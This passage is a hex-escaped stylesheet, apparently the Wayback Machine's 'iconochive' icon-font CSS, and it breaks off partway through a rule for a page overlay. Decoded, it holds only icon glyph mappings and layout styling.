x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x63\x66\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x71\x75\x65\x73\x74\x69\x6f\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x37\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x71\x75\x65\x73\x74\x69\x6f\x6e\x2d\x64\x61\x72\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x33\x66\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x69\x6e\x66\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x36\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x69\x6e\x66\x6f\x2d\x73\x6d\x61\x6c\x6c\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x34\x64\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x63\x6f\x6d\x6d\x65\x6e\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x65\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x63\x6f\x6d\x6d\x65\x6e\x74\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x65\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x65\x72\x73\x6f\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x36\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x65\x6f\x70\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x36\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x79\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x34\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x73\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x31\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x69\x6d\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x35\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x71\x75\x6f\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x35\x64\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x69\x73\x63\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x62\x66\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x76\x2d\x63\x6f\x6d\x6d\x65\x72\x63\x69\x61\x6c\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x62\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x73\x65\x61\x72\x63\x68\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x64\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x73\x65\x61\x72\x63\x68\x2d\x73\x74\x61\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x33\x64\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x69\x6c\x65\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x39\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x69\x73\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x31\x66\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x69\x73\x74\x2d\x62\x75\x6c\x6c\x65\x74\x65\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x31\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x61\x74\x65\x73\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x30\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x65\x66\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x63\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x69\x67\x68\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x63\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x65\x66\x74\x2d\x73\x6f\x6c\x69\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x63\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x69\x67\x68\x74\x2d\x73\x6f\x6c\x69\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x62\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x75\x70\x2d\x73\x6f\x6c\x69\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x62\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x6f\x77\x6e\x2d\x73\x6f\x6c\x69\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x62\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x6f\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x65\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x6f\x74\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x61\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x63\x6f\x6c\x75\x6d\x6e\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x61\x66\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x73\x6f\x72\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x31\x64\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x61\x74\x6f\x7a\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x32\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x7a\x74\x6f\x61\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x32\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x75\x70\x6c\x6f\x61\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x65\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x65\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x61\x76\x6f\x72\x69\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x30\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x68\x65\x61\x72\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x36\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x6c\x61\x79\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x35\x62\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x6c\x61\x79\x2d\x66\x72\x61\x6d\x65\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x61\x63\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x75\x6c\x6c\x73\x63\x72\x65\x65\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x66\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6d\x75\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x75\x6e\x6d\x75\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x73\x68\x61\x72\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x38\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x64\x69\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x30\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x65\x65\x64\x69\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x31\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x67\x65\x61\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x39\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x65\x6d\x6f\x76\x65\x2d\x63\x69\x72\x63\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x34\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x6c\x75\x73\x2d\x63\x69\x72\x63\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x64\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6d\x69\x6e\x75\x73\x2d\x63\x69\x72\x63\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x64\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x78\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x64\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x6f\x72\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x64\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x72\x61\x73\x68\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x64\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x77\x61\x72\x6e\x69\x6e\x67\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x61\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x6c\x61\x73\x68\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x66\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x77\x6f\x72\x6c\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x66\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x6f\x63\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x31\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x75\x6e\x6c\x6f\x63\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x31\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x77\x69\x74\x74\x65\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x32\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x61\x63\x65\x62\x6f\x6f\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x36\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x67\x6f\x6f\x67\x6c\x65\x70\x6c\x75\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x36\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x72\x65\x64\x64\x69\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x37\x64\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x75\x6d\x62\x6c\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x35\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x69\x6e\x74\x65\x72\x65\x73\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x64\x34\x64\x66\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x70\x6f\x70\x63\x6f\x72\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x61\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x6d\x61\x69\x6c\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x65\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x6d\x62\x65\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x31\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x67\x61\x6d\x65\x70\x61\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x37\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x5a\x6f\x6f\x6d\x5f\x49\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x62\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x5a\x6f\x6f\x6d\x5f\x4f\x75\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x64\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x53\x53\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x65\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4c\x69\x67\x68\x74\x5f\x42\x75\x6c\x62\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x61\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x41\x64\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x39\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x54\x61\x62\x5f\x41\x63\x74\x69\x76\x69\x74\x79\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x31\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x46\x6f\x72\x77\x61\x72\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x65\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x42\x61\x63\x6b\x77\x61\x72\x64\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x65\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4e\x6f\x5f\x41\x75\x64\x69\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x50\x61\x75\x73\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x33\x66\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4e\x6f\x5f\x46\x61\x76\x6f\x72\x69\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x30\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x55\x6e\x69\x6b\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x36\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x53\x6f\x6e\x67\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x36\x62\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4e\x6f\x5f\x46\x6c\x61\x67\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x39\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x46\x6c\x61\x67\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x36\x39\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x44\x6f\x6e\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x31\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x43\x68\x65\x63\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x31\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x66\x72\x65\x73\x68\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x37\x66\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x48\x65\x61\x64\x70\x68\x6f\x6e\x65\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x61\x37\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x43\x68\x61\x72\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x63\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x42\x6f\x6f\x6b\x6d\x61\x72\x6b\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x64\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x44\x6f\x63\x75\x6d\x65\x6e\x74\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x64\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4e\x65\x77\x73\x70\x61\x70\x65\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x66\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x50\x6f\x64\x63\x61\x73\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x66\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x61\x64\x69\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x66\x62\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x43\x61\x73\x73\x65\x74\x74\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x66\x63\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x53\x68\x75\x66\x66\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x30\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4c\x6f\x6f\x70\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x4c\x6f\x77\x5f\x41\x75\x64\x69\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x30\x39\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x46\x69\x72\x73\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x39\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x49\x6e\x76\x69\x73\x69\x62\x6c\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x37\x36\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x43\x6f\x6d\x70\x75\x74\x65\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x62\x33\x22\x7d\x2e\x5f\x5f\x77\x62\x5f\x6f\x76\x65\x72\x6c\x61\x79\x7b\x66\x69\x6c\x74\x65\x72\x3a\x61\x6c\x70\x68\x61\x28\x6f\x70\x61\x63\x69\x74\x79\x3d\x36\x30\x29\x3b\x2d\x6d\x6f\x7a\x2d\x6f\x70\x61\x63\x69\x74\x79\x3a\x2e\x36\x3b\x6f\x70\x61\x63\x69\x74\x79\x3a\x2e\x36\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x66\x69\x78\x65\x64\x3b\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x74\x6f\x70\x3a\x30\x3b\x6c\x65\x66\x74\x3a\x30\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x